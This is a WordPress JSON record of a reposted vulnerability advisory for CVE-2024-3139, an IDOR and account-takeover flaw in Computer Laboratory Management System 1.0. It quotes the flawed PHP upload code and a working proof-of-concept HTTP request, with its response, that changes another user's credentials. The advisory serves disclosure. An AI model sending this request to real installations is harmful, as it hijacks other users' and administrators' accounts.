{"id":55781,"date":"2024-04-02T23:59:54","date_gmt":"2024-04-02T19:59:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177892\/clms10-idor.txt"},"modified":"2024-04-02T23:59:54","modified_gmt":"2024-04-02T19:59:54","slug":"computer-laboratory-management-system-1-0-insecure-direct-object-reference","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/computer-laboratory-management-system-1-0-insecure-direct-object-reference\/","title":{"rendered":"Computer Laboratory Management System 1.0 Insecure Direct Object Reference"},"content":{"rendered":"<p>#Vulnerability Details:<br \/>#Application Name: Computer Laboratory Management System<br \/>#Software Link: https:\/\/www.sourcecodester.com\/php\/17268\/computer-laboratory-management-system-using-php-and-mysql.html<br \/>#Vendor Homepage: https:\/\/www.sourcecodester.com\/users\/tips23<br \/>#BuG: Insecure Direct Object References (IDOR) and Account Takeover<br \/>#BuG_Author: SoSPiro<br \/>#CVE: CVE-2024-3139<\/p>\n<p># Vulnerable code section:<\/p>\n<p>if(!empty($_FILES[&#8216;img&#8217;][&#8216;tmp_name&#8217;])){<br \/>if(!is_dir(base_app.&#8221;uploads\/avatars&#8221;))<br \/>mkdir(base_app.&#8221;uploads\/avatars&#8221;);<br \/>$ext = pathinfo($_FILES[&#8216;img&#8217;][&#8216;name&#8217;], PATHINFO_EXTENSION);<br \/>$fname = &#8220;uploads\/avatars\/$id.png&#8221;; \/\/ The $id value is directly used in the file path<br \/>\/\/ Rest of the code<br \/>}<\/p>\n<p># Vulnerability Description:<\/p>\n<p>This vulnerability exists in the section of code responsible for handling file uploads. The $id variable, obtained from user input ($_POST), is utilized directly in constructing the file path without appropriate validation or authorization checks, leading to both IDOR and account takeover vulnerabilities. This allows an attacker to manipulate the $id parameter to access and modify files of other users, including administrators.<\/p>\n<p># Proof of Concept (PoC):<\/p>\n<p>&#8211; Poc Video : https:\/\/drive.google.com\/file\/d\/1P0Vg_sYM9S43_rJTe1l5E2Vt9gzvb0YX\/view?usp=sharing<\/p>\n<p>&#8211; Request:<\/p>\n<p>POST \/php-lms\/classes\/Users.php?f=save HTTP\/1.1<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko\/20100101 Firefox\/124.0<br \/>Accept: *\/*<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>X-Requested-With: XMLHttpRequest<br \/>Content-Type: multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;38244968796537297751592545024<br \/>Content-Length: 8393<br \/>Origin: http:\/\/localhost<br \/>Connection: close<br \/>Referer: http:\/\/localhost\/php-lms\/admin\/?page=user<br \/>Cookie: PHPSESSID=3oor3gc9ih6iq8fu6qpjf50si8<br \/>Sec-Fetch-Dest: empty<br \/>Sec-Fetch-Mode: cors<br \/>Sec-Fetch-Site: same-origin<br \/>X-PwnFox-Color: green<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;38244968796537297751592545024<br \/>Content-Disposition: form-data; name=&#8221;id&#8221;<\/p>\n<p>7<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;38244968796537297751592545024<br \/>Content-Disposition: form-data; name=&#8221;firstname&#8221;<\/p>\n<p>testtt<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;38244968796537297751592545024<br \/>Content-Disposition: form-data; name=&#8221;middlename&#8221;<\/p>\n<p>testMiddle <br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;38244968796537297751592545024<br \/>Content-Disposition: form-data; name=&#8221;lastname&#8221;<\/p>\n<p>te Last Name <br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;38244968796537297751592545024<br \/>Content-Disposition: form-data; name=&#8221;username&#8221;<\/p>\n<p>admin2<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;38244968796537297751592545024<br \/>Content-Disposition: form-data; name=&#8221;password&#8221;<\/p>\n<p>qwe123<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;38244968796537297751592545024<br \/>Content-Disposition: form-data; name=&#8221;img&#8221;; filename=&#8221;hack.png&#8221;<br \/>Content-Type: image\/png<\/p>\n<p>PNG<br \/>&#8230;<\/p>\n<p>&#8211; Response:<\/p>\n<p>HTTP\/1.1 200 OK<br \/>Date: Mon, 01 Apr 2024 10:19:19 GMT<br \/>Server: Apache\/2.4.54 (Win64) PHP\/8.2.0 mod_fcgid\/2.3.10-dev<br \/>X-Powered-By: PHP\/8.2.0<br \/>X-Xdebug-Profile-Filename: c:\/wamp64\/tmp\\trace.localhost.1711966759.10780.cgrind<br \/>Expires: Thu, 19 Nov 1981 08:52:00 GMT<br \/>Cache-Control: no-store, no-cache, must-revalidate<br \/>Pragma: no-cache<br \/>Content-Length: 1<br \/>Connection: close<br \/>Content-Type: text\/html; charset=UTF-8<\/p>\n<p>1<\/p>\n<p># Impact:<\/p>\n<p>This vulnerability allows attackers to access and modify user data and profile pictures, leading to potential phishing, distribution of malicious content, and reputational damage. Additionally, unauthorized access to administrator accounts can occur, resulting in the compromise of sensitive information. This poses a significant risk to the security and usability of the application.<\/p>\n<p># Reproduce:<\/p>\n<p>https:\/\/github.com\/Sospiro014\/zday1\/blob\/main\/idor%2Baccaunt_takeover.md<br \/>https:\/\/vuldb.com\/?id.258914<br \/>https:\/\/www.cve.org\/CVERecord?id=CVE-2024-3139<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#Vulnerability Details:#Application Name: Computer Laboratory Management System#Software Link: https:\/\/www.sourcecodester.com\/php\/17268\/computer-laboratory-management-system-using-php-and-mysql.html#Vendor Homepage: https:\/\/www.sourcecodester.com\/users\/tips23#BuG: Insecure Direct Object References (IDOR) and Account Takeover#BuG_Author: SoSPiro#CVE: CVE-2024-3139 # Vulnerable code section: if(!empty($_FILES[&#8216;img&#8217;][&#8216;tmp_name&#8217;])){if(!is_dir(base_app.&#8221;uploads\/avatars&#8221;))mkdir(base_app.&#8221;uploads\/avatars&#8221;);$ext = pathinfo($_FILES[&#8216;img&#8217;][&#8216;name&#8217;], PATHINFO_EXTENSION);$fname = &#8220;uploads\/avatars\/$id.png&#8221;; \/\/ The $id value is directly used in the file path\/\/ Rest of the code} # Vulnerability Description: This vulnerability exists in the section &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55781","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55781","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55781"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55781\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55781"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55781"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55781"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}